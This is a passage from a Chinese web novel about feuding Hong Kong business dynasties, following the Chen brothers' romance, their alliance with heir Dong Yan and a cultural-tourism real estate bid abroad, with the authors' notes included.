如果说,他们这桌是被孤立的台风眼,董焱那桌更惨,像是隔壁厅拼桌的。 明明是主桌,死的也是他们直系亲属。却被完全隔绝在热闹之外,一家四口默默吃饭,所有人都非常默契地忽略他们。 反倒是听见不停有人跟董嘉华说:“董总节哀……” 这就是人情冷暖,世界参差。 “董氏集团那么大的生意,以后还要靠您支撑着。” “可不是,董氏那么大的盘子,就靠一个没有根基,做广告的毛头小子,这不得完蛋?!” “董氏集团的未来,还是得仰仗你们这种久经沙场的老将啊。” 贺朗冷笑着:“年轻人经验不足,我们当长辈的肯定要帮忙。董氏的生意大盘还在A国,你们以后要在港城看见董总,可就难咯。” 说话那群人,都是港城资历老,白手起家的老一辈。对年轻人,有着天然的敌意。 刚刚几个摇着红酒杯企图过来搭讪,跟他们搞好关系的年轻实业家,顿时面露尴尬,只好尴尬笑笑,低头喝酒。 也有厚脸皮的,说道:“港城是见不到了,董总在A国的生意,也记得提携提携我们呐。” 董嘉华装模作样:“可别这么说,我们董家的根还在港城,有什么机会肯定忘不了大家!” …… 耳边是一众老登,滔滔不绝的陈腔滥调。 陈一诺听得起茧子,看陈宗礼面前的大红袍凉了,倒掉重新满一杯,边倒边说:“看看,什么叫人走茶凉。上流社会就是权力游戏啊。” 陈宗礼接过大红袍,淡淡道:“所以啊,董焱不入局,就只会一直被边缘化。武力值再高,也防不住人家的十面伏击。” 庄嘉轩眨眨眼,警惕地看向四周:“也不能这么说吧,今时不同往日,港城又不是法外之地,不致于十面伏击那么猖獗……” 陈一诺压低声音:“我刚刚去厕所的时候,遇到一个男的,戴鸭舌帽穿黑色卫衣,鬼鬼祟祟的。” 庄嘉轩凑过来,做了一个抹脖子的动作:“……杀手?” 陈一诺回想那人身材瘦弱,一双桃花眼斯斯文文,一看就感觉很柔弱。 “也说不准,我让聂加他们在附近盯着。别看了,你赶紧吃!” …… “宗礼,一诺,还在吃呢?看来今天的菜很合你们年轻人口味啊……” 董嘉华的声音,忽然从背后传来,一群老登的目光随之看向他们。 晾了他们半天,终于想起这桌被孤立的,装模作样地过来打招呼。贺朗倒是识趣,远远站着,没过来凑热闹。 陈宗礼礼貌地举起酒杯,回了一句:“鱼生挺新鲜,一诺很喜欢。” 全港都知道,陈家兄弟冰释前嫌,感情更胜从前。无论是财经新闻,还是娱乐报道,总能捕捉到两人一起出席活动的照片。 如今,港城豪门兄弟阋墙,二代入狱的负面新闻天天有。衬得陈家兄弟就像一股业界清流。颜值、家境、能力俱佳,还感情甚笃,让人挑不出毛病。 董嘉华难得奉承道:“哎哟,都说你们感情好,现在看还真是。老太太真是好福气。” 庄嘉轩在一旁挑挑眉,他们兄弟的感情可不是单纯的好,那是好得超出你想象…… 陈宗礼惯会应酬:“哪里,我们做好本份而已。” 董嘉华感慨:“是啊,这个本份,太重要了。听说,你们羽南港第一期竣工,有不少公司确定入驻,真是可喜可贺啊。” 陈一诺擦擦嘴,阴阳道:“董氏集团有兴趣换换办公点么?我们可以提前安排。” “好啊!”董焱浑厚的声音,直接把董嘉华那句“不用”吃掉。 所有人看向声音的一侧,董焱拿着红酒走过来,他扫了在坐所有人一眼。那气势不像来应酬,像踩场的。 董嘉华尴尬介绍:“这位我侄子董焱,他不太了解集团在港城的情况。我们董氏集团有自己的办公楼。犯不着在羽南港新增一个办公点,留给有需要的公司吧……” 董焱根本不听他的,自说自话:“羽南港不是能看海么?我正好要一个面朝大海的办公室。” 此话一出,董嘉华这老狐狸不做声了。 现场所有人,默认董家未来的话事人是董嘉华。 董焱,不过是个内强中干的傀儡,他硬要出风头,那就让现实好好教教他。 在港城,没有任何根基,没有任何助力,等于弃子。有实名没实权,根本不会有人待见。 如他想象一样,现场没人说话,董焱却并不觉得尴尬,边喝酒边等着。 这时,陈宗礼开口了:“我记得,董氏集团在金环的办公大楼建了也有20年,员工数量已经多到坐不下了吧?” “羽南港未来会是港城第二个CBD,又临近大学城,董氏要是成立分公司,羽南港确实合适。” 陈一诺连忙接上:“而且,一期刚好有面朝大海的办公室。焱少有空,欢迎实地考核。我相信,zf知道董氏入驻,一定欢迎。” 董焱难得扬了扬嘴角:“行,等忙完这段时间,跟你们约时间。” 现场所有人都惊呆了,这段对话,让所有人开始审视董焱背后的人脉。董嘉华脸上更是五颜六色,分外精彩。 大家心里都在想:董焱十几年没在港城出现过,不是没有任何根基吗?怎么陈家兄弟对他那么友好?! 再说,陈家兄弟已是全港城炙手可热的企业家,一个深耕家业,一个白手起家。短短半年,兄弟联手,让陈家在富豪榜排名直逼贺家。 而且外人知道,他们的圈子非常难打入。董焱是怎么让陈家兄弟一口一个“焱少”,叫得那么亲热? 好事者凑到庄嘉轩这边打听:“庄少,太子爷认识董焱吗?” 庄嘉轩也纳闷呢:“我不知道啊……” 好事者又问:“那他们聊天怎么那么熟络?太子爷平时那么冷,对董焱一点架子都没有……” 庄嘉轩也纳闷:“我不知道啊……” 好事者再问:“你不是陈家准女婿吗?怎么什么都不知道?” 庄嘉轩忍不住了,瞪他:“你有没有礼貌了?!” …… 董嘉华脸色难看,冷言冷语说了句:“既然年轻人有年轻人的想法,那你们好好聊。” 说罢,带着一群人转身又去别桌喝酒。 陈一诺不解恨似的,一口一个“焱少”,陪董焱走回主桌,还跟林宝珠问候了几句。 遗世独立的主桌,因为加入了陈家这颗砝码,让现场气氛变得微妙。 大家都知道,邮轮事件后,陈李庄三家一个阵营。董家和贺家一个阵营。 如今,在董家分裂成两股势力之际,陈家兄弟试图站在董焱这边。局势瞬间变得不甚明朗。 能在现场,参加解慰宴的都是“人精”。几句话的交锋,就看出董嘉华未必胜券在握,董焱也未必一无是处。 董家话事人,最终鹿死谁手,有待商榷。 陈宗礼洞悉这些人的心理,走到主桌,拿出名片跟林宝珠说:“林伯母,奶奶叮嘱我们跟您说一句,你们人生地不熟,在港城有需要的地方,随时找我们。” 陈一诺也掏出名片,他说话更直接:“我哥是讲理的,但你们家那些乱七八糟的事,未必用道理能解决。要是考虑非常手段,找我!” 林宝珠眉眼弯弯,心思如明镜:“好,跟老太太说声谢谢……” 该表的态已经表完,时间差不多,该走了。 陈宗礼朝林宝珠道别:“那,林阿姨、焱少,我们先走了,后会有期。” 说完,带着陈一诺转身离开麒麟酒楼。 董焱低头看着两张名片,天峻集团总裁:陈宗礼,一星集团总裁:陈一诺。 林宝珠看着两兄弟的背影,喃喃道:“那年新年,你说救了一对差点被绑架的兄弟,就是他们吧?” 当年,被追入穷巷狼狈不堪的少年,跟如今西装革履,英俊倜傥的总裁,有天壤之别。 但董焱依然认出他们,他道:“嗯,在灵堂就认出来了。”—— 作者有话说:友情提醒下,咱们准备收尾了~ 第106章 “你们跟董焱怎么认识的?!” 离开麒麟酒楼的宴会厅,庄嘉轩顶着满脑袋的问号,缠着陈家兄弟要答案。 陈一诺举起手伸了个懒腰,淡淡道:“跟你一样,识于微时。” 庄嘉轩难以置信:“你们的微时,有我不认识的人吗?” 陈一诺双手插兜,一副浪荡的模样:“我们认识的时候,你跟陈宗瑜正忙着在港城大桥上演“天若有情”,所以就错过咯!” 判断不出陈一诺话里的真假,但被开涮的庄嘉轩“艹——”了声:“哎,那时候,我把宗瑜当妹妹,一点歪心思都没……” 话还没说完,没留意前方陈宗礼忽然停下,一头撞到他背后,庄嘉轩抱怨:“怎么突然停下?” 陈一诺顺着陈宗礼的眼神往门外看,十几个人朝他们冲过来,陈宗礼反应很快,上前半步把陈一诺护在身后,危机意识,让陈一诺立刻对无线耳机问:“聂加,怎么回事?” 聂加的声音从耳机另一端传来:“冲进去的董家保镖,听说后院有匪徒袭击董先生,目前匪徒已经被控制,但有人受伤。” 果然,乌泱泱的一群人,跟他们擦肩而过,完全无视他们。然后急促地走进酒楼,引得酒楼内一阵尖叫。 不一会儿,董焱抱着一个人从酒楼冲出来,他本就一脸凶相,遭遇袭击后,整个人乌云密布,宛如索命罗刹。 旁边一个保镖多次说:“焱少,把伤者交给我们吧?” 董焱双臂把人抱得更紧,一个眼刀刺向保镖,说道:“我的人我自己来!救护车呢?” 保镖指着不远处:“就停在门口。” 董焱点头,抱着人快步冲向救护车。 经过陈一诺身边时,他敏锐捕捉到董焱怀里抱着的是个男人,脖子上有勒痕,红红的很惹眼。 庄嘉轩边打量边说:“戴鸭舌帽,穿黑卫衣,是不是你在厕所遇到那个?!” 陈一诺这才反应过来:“好像是。” 余光看见一个黑影闪过。他转头,看着两个保镖压着一个男人往外走,这男的也是戴鸭舌帽穿黑卫衣。 庄嘉轩一脸愕然:“……这穿搭那么流行吗?受伤的这么穿,匪徒也这么穿啊?” 同样的打扮,待遇天差地别,一个被董焱宝贝着抱上救护车,一个被直接暴力扭送上了警车。 没人说话,三个人并肩看着警车和救护车慢慢驶远。身后的麒麟酒楼又恢复了正常营业。 陈一诺双手抱肩,笑容带着邪气:“哎呀,看来,董焱很快要找我了。” 陈宗礼睨他一眼,语带威胁:“陈一诺,你别浪!” …… “今日,董氏集团前董事长:董嘉裕先生,在红瞰殡仪馆举行告别仪式。” “政商各界人士纷纷出席,表示哀悼。仪式结束后,董嘉裕家人在酒楼举办解慰宴,期间,有匪徒企图伤人不遂被捕,引起骚动,现场一人受伤,伤者已送往医院……” 晚间新闻的声音逐渐变小,老宅的饭桌上,陈宗瑜依依不舍地把视线从电视挪回饭桌。 今天,从海南空运一箱新鲜椰子,兰姨直接用椰子水做锅底,还买了一只肥美走地鸡,索性用椰子鸡“打边炉”。 饭桌中间,诺大的电磁炉“咕嘟咕嘟”冒着白烟,空气里飘着淡淡的椰子甜, 陈宗瑜拿起漏勺,从锅里舀出一块刚熟的鸡块,抱怨道:“都怪你们,不让我去!害我少吃那么大一个瓜!” 二婶对陈宗瑜翻了个白眼:“你奶奶有先见之明!知道有危险才不让你去的!万一遇上匪徒,“瓜”的就是你了(瓜=粤语有去世的意思)!” 换了身运动服的陈一诺,带着黑框眼镜像个男大。他从锅里夹起一块冬瓜,放她碗里,劝道:“二婶说得对!虽然那边的瓜你没吃上,吃块冬瓜补一补!” 陈宗瑜看着碗里的瓜,一脸不悦:“那酒楼里到底发生了什么事?你们看见了么?” 陈一诺边吃边说:“聂加查到一些线索,怀疑这个匪徒是董嘉华派去警告董焱的。没想到半路杀出个程咬金,帮董焱挡了。” 吴淑芬皱眉:“哎哟,酒楼人那么多,也敢动手,那人没事吧?” 陈一诺吃了块嫩滑弹牙的鸡肉,“斯哈”着说道:“没事,听说只受了点轻伤,人已经出院了。” 陈宗礼给陈一诺倒了杯冰的椰奶,说道:“这事挺可疑,匪徒身上明明有枪,刚开始却用领带伤人,太违和了吧。” 老太太也说:“那人的破绽的确很多。” “所有人都知道,董焱出事,董嘉华嫌疑最大,他何必出手呢?就算要出手,也没必要找人那么多的地方……我觉得不是董嘉华,肯定是别人。” 随着锅里的椰子鸡“咕嘟咕嘟”不断升温,饭厅温度越来越热,吃得陈一诺满头是汗,他又不好直接脱衣服光膀子。 他身上穿的是拼色运动立领上衣,拉链往下只能拉到胸口,但了胜于无。 陈一诺边吃边把拉链拉下,立领就成了V字翻领:“我猜也是,不过排除董嘉华,兴许是董嘉裕生前仇家也说不定。” 他的漏勺从锅里捞出不少虾滑,站着辣椒酱油吃得忘乎所以。 坐对面的老太太从锅里捞起一块鸡肉,视线隔着袅袅上升的水蒸气,落在陈一诺身上。一下子,像被冻住似的,手拿着筷子定在锅上一动不动。 陈宗瑜和吴淑芬,察觉老太太的动作有异,也慢慢看向陈一诺。等陈宗礼把剥好的虾放到陈一诺碗里,目光也落在同一个位置——锁骨上,有几处新鲜的吻痕。 陈一诺看陈宗礼呆滞的目光,问道:“你看着我干嘛?” 陈宗礼伸手想帮他把拉链拉起来,陈一诺侧身躲开,警告道:“陈宗礼,吃饭呢,别乱摸!” “……”陈宗礼冰封的脸露出一道裂痕,他无奈解释道:“谁摸你了,帮你拉拉链。” 陈一诺不明所以,继续拒绝:“不拉,我热……” 这会儿,兰姨从厨房出来,手里端着一盘水果,笑眯眯道:“今天空运到港的新鲜草莓,你们赶紧尝尝……” 陈宗瑜指着陈一诺的锁骨,调侃道:“我是不敢尝了~但正看着呢,可新鲜了……” 兰姨一看,立马手捂住胸口:“哎哟!哎哟!我的老天爷啊!” “你们这些孩子,收敛一点,不要太离谱哦!老人的命也是命哪!” 陈一诺慢慢低下头,才发现自己完全忘了锁骨上有“草莓”印,这下可好,全被人看见了…… “嗡——”一下,他感觉血液从头一直红到脖子根,耳朵嗡嗡嗡地鸣叫。 自从,老太太对他们的关系睁一只眼闭一只眼后,他跟陈宗礼始终小心翼翼的。生怕过不了老太太的“试用期”,亲密举动一点不敢有,连对视的视线都很收敛。 就算擦枪走火有痕迹,在外工作、应酬,穿西装打领带基本全挡住了。可万万没想到,居然被这身运动服破了功。 陈一诺“嘿嘿”笑着,连忙把拉链拉起来,瞪了陈宗礼一眼,仿佛在抱怨:你干点什么呀! 被埋怨的陈宗礼很无奈,摊摊手,仿佛在说:我已经在试图帮你了,你不让啊! …… “叮叮叮——” 手机铃声拯救了陈一诺的尴尬,虽然是陌生来电,他还是拿起手机说道:“工作电话,我接一下,你们慢吃。” 他满怀尴尬,小碎步离开饭桌,均匀了呼吸,才接起电话说道:“喂,你好?哪位?” 话筒的另一端很空旷,让男人浑厚的声音更加有穿透力:“我董焱。” 陈一诺料想过董焱会找他,没想到居然那么快,他连忙笑笑:“哦,焱少,找我有事?” 对方非常直接:“我知道,一星和天峻有意向竞标巴库斯,我想找你们谈谈。” 陈一诺有些愕然,他以为董焱找他,是为了遇袭的事。没想到,是为了这个项目。 外界都以为董焱能力不济,董嘉华大权在握。实际上,他比所有人都更早明白,这场仗必须打,董氏集团必须争。 董焱想争,那陈家的机会就来了! 陈一诺了然地笑笑:“没问题,你在港城呆到什么时候?我们……” 董焱立刻打断:“港城不方便,我们A国见吧。” 他的回答言简意赅,听起来,根本不愿意在董嘉华的地盘久留。 陈一诺只能同意:“行。到时候见。” …… 聊完电话,陈一诺朝饭厅走,心里想起刚刚的“草莓事件”,还有老太太看他的眼神。 走到门口呆站住,进退两难,不知道该不该进去。 吴淑芬的声音传出:“你们长点心吧,老太太怎么跟你们约法三章的?只有家里人能知道,外人不行。就这样,还乱来!万一今天这个吻痕,在殡仪馆被记者拍到,那些胡乱猜测不就来了?” “帮兄小能手”陈宗瑜解围道:“妈,现在又不是古时候,情侣得洞房那天才能有亲密接触。他们这种程度,很正常好吧!” “何况,就算被拍到也没关系啊,最多猜猜一诺哥哥跟谁谈恋爱……” 吴淑芬反驳:“现在是没拍到,万一拍到,记者过来问,一诺跟谁谈恋爱,你打算怎么说?” “随便说一个女生,肯定不行。而且,一个男生有吻痕,很容易在性取向上被人做文章……要是他们造谣乱写怎么办?” 兰姨也点头:“狗仔真是什么都敢写的!到时候,只要跟陈一诺走得近都被乱写,那也很麻烦……” 陈一诺站在门外,他的手捂在锁骨的位置,莫名有些抖,如果一个吻痕就能掀起舆论巨浪的讨论,往后的日子不得天天如履薄冰,不能出半点差错? 心里感叹,谈个恋爱怎么那么难…… 饭厅里的对话还在继续,陈宗瑜说:“哎哟,光一诺哥哥小心也不行啊!种草莓这事,还不是要赖陈宗礼!” 门外的陈一诺:“???” 老太太也认同,她身体前倾看着陈宗礼,问道:“我也看不懂了。平时你看着冷冷淡淡的,怎么亲热起来,那么不管不顾呢?以后,麻烦你,好好控制你自己,印子尽量少留或者别留。” 兰姨道:“就是,一个巴掌拍不响!你看看把一诺啜的,青一块紫一块。” “而且,脖子附近神经多,很脆弱!万一你啜的时候,一个不小心,受伤了怎么办?!” 陈宗礼十分无奈,解释道:“哎,兰姨,我的嘴又不是刀,一个不小心还能割他大动脉吗?” “哼,谁知道呢……”陈宗瑜开玩笑。 老太太语重心长:“奶奶认真跟你讲啊。虽然说,一诺不是真的姓陈,但生活那么多年,他,跟你们一样都是我孙子!” “你要是敢欺负一诺,我也是会揍你的!” 陈宗瑜起哄:“听到没!陈宗礼,好好控制你自己!” 陈宗礼莫名其妙成了众矢之的,他举起双手:“行!这次我的错!别骂了!我以后不嘬了,行了吧?各位放心!” 门外的陈一诺,忍不住低头笑笑,笑到眼眶莫名红了。 他想,虽然恋情辛苦,前路漫漫,好像根本看不清未来。 但至少,漫漫长路之中,有爱人一起同行,身后还有“家人们”的无限支持。 他顿时感概,重生后最大的收获,莫过陈宗礼的爱情,以及家人的亲情。 争论到最后,兰姨说:“不行,我得找找药膏给一诺涂上。哎,种草莓要用什么药啦?” 老太太提醒:“找活血化瘀的。” 兰姨点头:“哦哦,对,我去找找。”走到门口,看见陈一诺,拍拍他的肩膀,“哎,一诺,你怎么站在门口不进去?” “赶紧多吃几颗草莓,我去给你找药。” 陈一诺笑着应道:“好嘞!”—— 作者有话说:《天若有情》经典港片,刘德华开摩托带女朋友私奔那一幕~ 甜甜的一章~[红心][红心] 第107章 “巴库斯做成文旅?” A国董氏集团办公大楼会议室内,董焱坐在主席位上,一脸不耐烦地看着旁边的董嘉华满脸质疑,接着滔滔不绝地发表意见。 董嘉华:“阿焱,叔不是嫌弃你经验不足,但你对A国市场了解太少。A国买房首付最低的时候甚至出现过零元购,低到这样,一场次贷危机多少人不敢买房!” “他们骨子里对房地产根本不感兴趣!你还要把巴库斯做成文旅项目?你自己搜搜资料,这几年,A国的房地产项目,只要跟文旅挂钩,哪个不是亏得一败涂地?” “阿焱,别听外面的风言风语,觉得叔给你挖坑!我真的是为你,为我们集团好!” 旁边的贺朗放下雪茄,摸摸鼻子:“小董总,在房地产界你还是新手,长辈的经验要听的。” “巴库斯在哪里你知道吧?A国首都N城郊区,郊区到什么程度?从N城开车要两小时。最大的好处是靠近黄金海岸。” “虽然说,高铁、地铁会陆续开通,但通勤时间也不短。光做房地产项目就很难有人愿意买。你还想做成文旅?那不如把钱扔海里了。” “按我说,做成大平层、海景房卖给有钱有闲的二代。既结合了地域优势,回报率也高。” 贺朗说完,董嘉华连忙赞同,一番高级的夸夸送到贺朗面前,对董焱说:“你看看,姜还是老的辣!大平层、海景房,卖给有钱人,我觉得很好啊!” 会议室内,所有人目光看向主席位上的董焱。在董嘉裕去世后,集团内部分化成两股势力,一边是董嘉华为首的旧派势力,另一边是董焱为首的新派势力。 这场会议,算是两派势力的首次交锋,大家自然想知道,董焱这位新东家的能耐到底有多少。 主席位的董焱手托在络腮胡上,冷眼看着他们,他体型魁梧,肌肉把西装绷得很紧,沉默时像一头沉默不语的雄狮。 他淡淡道:“如果,zf只想开发普通房地产,为什么要山长水远把竞标邮件发给陈家兄弟?” 深邃的眸子看向贺朗:“贺总,你的经验已经跟不上时代了。当初建盛拿不下羽南港,是有原因的。” 都知道,羽南港是贺朗心中一根刺,陈家兄弟更是贺朗的眼中钉。董焱一张嘴,生硬地扒开贺朗的伤疤,气得贺朗脸色一变,拍案而起:“你再说一遍?!” 会议室内,所有人吓得面如死灰,连敲键盘的声音都轻了。 董嘉华立刻拉着老朋友,低声打圆场道:“有话好好说,有话好好说!” “阿焱,贺总是你长辈!怎么能这么说话呢?!” “何况,羽南港跟巴库斯不一样!当初,港城zf明确改造羽南港就是为了建CBD,找外企进驻。” “巴库斯呢?就是一块朝海的地块,没什么潜力,别把他们混为一谈!” 董焱撩起眼皮,不紧不慢道:“我没有混为一谈,我单纯认为贺总的想法太保守。” 贺朗指着他鼻子道:“董焱!羽南港之前,我做成了多少地产项目,你知道吗?!那时候,姓陈的两兄弟还在学校咿咿呀呀念书呢!” “不要觉得,你们都是年轻人就抱团,把长辈视作要打倒的权威!论做生意,你们在我眼里就是小孩子过家家!” “要不是你幺叔怕你吃亏,我才懒得浪费时间跟你分享经验!如果你从心里觉得贺家比不过陈家,那我们的合作取消!” 话刚说完,贺朗叼起雪茄,直接走出会议室。 “老贺,你别生气呀!” 董嘉华着急跟在贺朗身后,突然回头瞪董焱一眼,没好气:“阿焱,你!” 董焱乐得看贺朗被逼出会议室,冷冷道:“叔,私下你喜欢怎么叫我随便,但在公司还是叫我焱总,或者董总,可以吗?” 董嘉华愣了愣,本想用怀柔政策软化董焱,现在看就是一块硬骨头,完全行不通。 他咬牙切齿道:“董焱,给我等着!” 说罢气势汹汹离开会议室,朝贺朗的方向追去。 …… 会议结束后,员工逃难似的从会议室涌出。 董焱合上笔记本电脑,屏幕画面停留在一个在线会议室。 他夹起电脑,大步流星走回自己办公室。门推开,他对沙发上的人挑眉:“都听到了?” 陈一诺刚好摘下无线耳机,拍手笑道:“一句不落。特别是贺朗暴走那段,我要剪下来给陈宗礼看看!” “随便。”董焱脱下外套,坐在沙发的单人座上,给自己倒了一杯茶:“陈宗礼怎么不过来?” 陈一诺摆弄着手机说道:“焱少,你别怪我们心眼多。” “当年我们是欠你一个人情。但具体能还你什么,我们也得观望一下。一星总部就在A国,比较方便,我先来探探路。” 明明是欠人情的一方,上来就耍心眼,按照平常董焱的暴脾气,这时就该骂一句:谁让你观望了?不合作就滚! 但董焱没有,比起“激情”报恩,陈一诺这种上来就说规矩、讲底线的方式,更让他觉得可信。 他问:“那你说说,刚刚的会议里,你观望出什么?” …… 来之前,陈一诺和陈宗礼讨论过。 巴库斯项目,是董氏集团志在必得的项目,也是董焱接手后的第一个项目,有些“只许成功不许失败”的意味。 在确定董嘉华跟贺朗沆瀣一气后,这种形势下,董焱不可能孤军作战。所以,有一面之缘的陈家兄弟成了董焱的合作首选。 但过去的恩情归恩情,生意是生意。 巴库斯是A国大型地产项目,花费是百亿美元起跳。陈一诺和陈宗礼还没疯到,为了报当年这份恩情,不顾一切地投入进来,为董焱摇旗呐喊。 而且,在商言商,帮董焱抢董氏集团的实权,对于他们而言有多大利益,也不好说。 毕竟,从他们调查来看,董焱在行业内的名声——才华和脾气一样大! 广告界的“疯狗”会不会变成商界的“暴君”,到头来反刺他们一刀,这是陈一诺需要提前考核试探的。 …… 回到现在,陈一诺整理着领带,回答董焱的问题:“焱少,坦白说,如果我是你,我应该会接受贺朗的建议。” “巴库斯地理位置跟羽南港不同,最大的商业价值就是建海景房、大平层,用旅游度假作为幌子,骗有钱人过去买房。” 董焱喝完面前这口茶,没让他继续说:“贺朗说过的,你就不用重复了。” “我们以前做广告的时候,评判一个创意好不好,最底层的逻辑是:是否OnBrief。大白话,是否符合客户需求。如果不顾客户需求,就算你的创意好到会飞,客户也不会买单。” “羽南港竞标的时候,贺朝阳为什么会输给你和陈宗礼?” “外人都以为,他只是输在那份假名单上。其实上,他最大的问题是:方案根本不OnBrief!” “当时,zf要把羽南港打造成第二个CBD。但贺朝阳规划中60%的预算放在民用楼盘,40%的预算才放在写字楼和基础设置上。根本违背了CBD的初衷。” “他会输,不是因为运气不好,我认识是必然的。” 陈一诺定定看了董焱好一会儿,作为一个业外人士,能把认知范围以外的项目拆解得那么细,证明是下了功夫的。而且,都说创意人才对金钱不敏感。他却直接从预算里看出问题,这确实不容小觑。 陈一诺点头:“所以,你判断,巴库斯项目负责人特意参观羽南港,甚至把我们拉进来竞标,是因为他们的需求,根本不止是纯粹的房地产改造。” “但在羽南港的项目里,文旅只是占很少的部分,能参观的景点,也就是几条保育的古村落。跟你想要的文旅,还是差很远。我都没有信心,一定能行,你怎么那么自信?” 天马行空的想法被泼冷水,几乎成为董焱的宿命。 他倒是不以为然:“我看过A国近三年的所有房地产广告。卖点无非是,首付低,交通便利,经济适用。这样的刚需房都卖不出。那交通不便利,不实用,首付跟外面持平的巴库斯更加卖不出去!” 他手指点了点桌面:“陈二少,你那么有钱,心眼也不少。将心比心,你会蠢到,为了看海,跑到巴库斯买一间海景房吗?” “以此类推,其他富豪有好骗?” 在这时候,把他心眼多的事拿出来,看似不经意地讲,让陈一诺忽然觉得董焱挺有意思,也感觉到他的记仇。 陈一诺遇强越强,问道:“好,假设文旅就是巴库斯改造的大方向。你具体打算怎么规划,能透露一些么?” …… 陈一诺这个位置,见多了夸夸而谈的合作方。说了半天想法,最后落不到执行,那都是空谈。 来之前,陈宗礼就叮嘱他,可能会遇到这种情况。 当时,他跟陈宗礼在床上四肢纠缠。他卷发湿透,双手搂着陈宗礼的脖子,问他:“怎么判断董焱的想法值得深挖?” 陈宗礼的声音暗哑,往里推得前所未有地深,问非所答:“陈一诺,确定要在床上,跟我聊别的男人?” 陈一诺推着他的肩,边抗拒说不是这个意思,边让他正经点。 陈宗礼闹够了,慢慢退出后,才在他耳边支招:“问他颗粒度更小的规划。” …… 概念性的东西,太虚了。只有看颗粒度更小更具体的规划,才好判断其可行性。 董焱的脑袋一点不空,夸夸而谈道:“巴库斯是希腊神话里的“酒神”,也被誉为“狂欢的神”。次贷危机以后,大部分消费者不会把房地产作为投资。” “但他们情绪被压抑,无处释放。特别是中产,他们工作压力大,市内所有地方几乎都玩过。但如果告诉他,开车2小时,就能抵达一个海边乌托邦,在那里,你能忘掉压力,看海,看演出,看艺术……我觉得,这样的文旅项目是有商业价值的。” “如此一来,地产商成了服务商,空间不止是房地产的形式那么单一。” “举个例子,在巴库斯这个文旅项目中,你仿佛来到的一个沿海乌托邦。你可以选择买房子,也能选择住连锁酒店、民宿,小市集能满足日常吃饭、购物的需求,海边有标志性建筑让你打卡,甚至有剧院还能安排商业演出……” “这是我的大概规划……” 陈一诺消化着他说的话,把地产项目“去地产化”,把地产商变“服务商”,这样的文旅项目,确实很吸引。 他眨眨眼睛,颇为欣赏地打量董焱:“我真的很难把现在的你,跟那晚救我们的人,联想到一起。差太多了……” 当时,充满野性,满身杀气的混混,跟如今这位西装革履,专业扎实的董焱,简直判若两人。 董焱睨着他看了很久,才说:“喂,我有老婆!而且我很爱他。” 陈一诺满脸震惊:“……” 不是…… 谁问你了?!!—— 作者有话说:我们“咯噔”男风采依旧~ Onbrief=符合客户预期(brief是广告中的简报,onberif,是否符合简报、客户预期) 第108章 “我真服了!” 公寓内,带着黑框眼镜,身穿卡通睡衣,鼓着腮帮子的陈一诺,正跟陈宗礼视频告状。 “聊工作聊得好好的,他居然开始跟我秀恩爱?!他有没有老婆谁在意了?!” “要不是跟老太太约法三章不能告诉外人,我当时就想怼他,我也有老婆!我也很爱他!” 视频对面的陈宗礼挑眉,淡淡纠正道:“你没有!” “我没……我没有?!”陈一诺难以置信,像一只炸毛小狗,龇牙咧嘴讨个说法。 “陈宗礼,你说清楚,我是没有老婆,还是没有很爱你!” 陈宗礼上斜眼里满是宠溺:“我以为,在我们的关系里,你才是老婆吧。” 陈一诺耻笑:“你在做梦……” 陈宗礼挑眉调侃:“哦?你不是喊过我老公吗……” …… 陈一诺瞬间滞了滞,不自觉回忆起出国前一晚,陈宗礼说舍不得他,把他按在床上折腾,明明知道他满脑子只想一件事:他想舒服! 陈宗礼却硬要等价交换,按住他的发/s/点,在耳边低声蛊惑:“喊我老公,就让你舒服。” 人不能碰du品,因为没人能逃脱被du/品控制的厄运。 但陈宗礼就是陈一诺的du/品,他对他的哥哥,高度上/瘾。他没办法,只能屈服地喊了好多声老公,陈宗礼才放过他。 …… 隔着屏幕,陈宗礼能清楚看见陈一诺的脸慢慢红了起来。他扬起嘴角,手指在屏幕上划了划,转移话题。 “不经逗还嘴硬,说几句就脸红。” “我找人查过董焱,他的确有固定伴侣,叫米麒,也是男的。目前帮他打理内地的广告公司。身家清白,没什么可疑。” “!!!!”陈一诺点开米麒的资料,惊讶道:“米麒是男的?!” 本来就大的眼睛,在震惊时,瞪得更大,几乎占了半个屏幕。 陈宗礼笑笑:“对,上次在麒麟酒楼,被董焱抱上救护车的就是他。” 想起董焱黑着脸把人抱上救护车的情景,陈一诺顿时明白:“难怪,董焱那天情绪那么激动。” “那么一闹,董家人都知道他们的关系了?” “那家广告公司,他妹妹也有任职,他们的关系估计家里人都知道。那次挟持事件以后,董焱把人保护起来,短时间内,不会在港城和A国出现。” 陈一诺点点头:“董焱在A国要待很长一段时间呢,那不就是长期异地恋?” 说人家异地恋,其实他们也好不了多少。 A国和港城相差12小时,陈一诺的晚上,刚好是港城中午。此时,陈宗礼开完一个早会,稍微解开领带喘口气,坐在大班椅上,看视频的眼神有些疲惫。 他问:“怎么,你还共情了?” 陈一诺:“那我们还是比他们好点,想见也不是见不着。” “见是能见,但想碰,碰不着啊。”陈宗礼淡淡说着,陈一诺能看见他的黑眼圈。 问道:“没睡好啊?没盖毯子么?” 陈宗礼:“毯子能跟真人比么?” 自从,发现了陈宗礼的安抚毯,在无法同床的夜里,他们都各自盖着安抚毯入睡。 恋人间的依恋,骗不了人。陈一诺以为他依赖陈宗礼。实际上,陈宗礼更依赖他。 陈一诺心虚地问道:“那你觉得董焱的想法可靠么?如果可以合作,找时间你过来实地勘察,我们就能见面了……” 陈宗礼冷笑一声,问他:“陈一诺,是你不让我去的,现在改主意了?” 陈一诺的心虚,被陈宗礼无情搓破,忽地慌了手脚。 …… 本来,这次陈宗礼也想一起来A国跟董焱见面。但被陈一诺拒绝了,理由是:他们至少有一个保持客观。 根据他们现在情况,用客观视角,判断跟董焱合作是否合适。 除此以外,陈一诺还有另一个原因。 贺朝阳入狱后,上辈子陈一诺还没解开的危机,只剩下一个——陈宗礼的死。 上辈子,陈一诺跟陈宗礼的最后一次见面,是在A国监狱里。那时,他对陈宗礼爱答不理。陈宗礼自言自语地说着自己的近况,他随便听一耳朵,完全不感兴趣。 那天见面后不久,陈宗礼遭遇绑架,并被匪徒撕票。 陈一诺知道消息后,当时整个人懵了。他宁愿相信,陈宗礼厌倦了热脸贴他的冷屁股,不想见他,编出来的谎言。也不愿意相信,他就这么死了。 重大的创伤,让他完全屏蔽掉他们最后一次见面。 所以,当他第一次看见巴库斯项目招标书的时候,完全没反应过来。 慢慢地,被屏蔽掉的细节涌出。他才记得,最后一次见面,陈宗礼说,天峻打算参加一个A国项目的竞标,来监狱探望他以后,直接准备竞标。 而陈宗礼,就是在去竞标的路上被绑架的! 